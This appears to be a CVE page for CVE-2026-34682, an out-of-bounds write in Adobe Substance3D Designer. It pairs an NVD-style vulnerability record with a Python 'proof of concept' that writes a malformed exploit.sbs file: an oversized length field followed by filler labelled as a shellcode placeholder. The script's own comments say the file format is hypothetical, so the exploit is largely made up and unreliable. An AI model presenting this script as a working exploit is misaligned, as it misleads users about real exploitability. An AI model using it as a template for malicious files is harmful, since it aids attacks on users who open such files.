CVE-2026-34682

import struct # Proof of Concept (PoC) for CVE-2026-34682 # This script generates a malformed file intended to trigger # an out-of-bounds write vulnerability in Adobe Substance3D Designer. # Note: The specific file format structure is hypothetical. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a valid header (hypothetical magic bytes) f.write(b'SUBS') # Write a malformed size field to trigger the buffer overflow # Assuming the application reads a 32-bit integer for buffer size # We provide a size much larger than the allocated buffer. malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Write padding or shellcode placeholder # This data would overwrite the adjacent memory payload = b'A' * 1000 f.write(payload) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_file("exploit.sbs")

{"cve": {"id": "CVE-2026-34682", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:31.447", "lastModified": "2026-05-13T19:40:17.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_designer:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.1.0", "matchCriteriaId": "02A59C2B-6B46-4A8E-A2A6-8BEF77AB7122"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}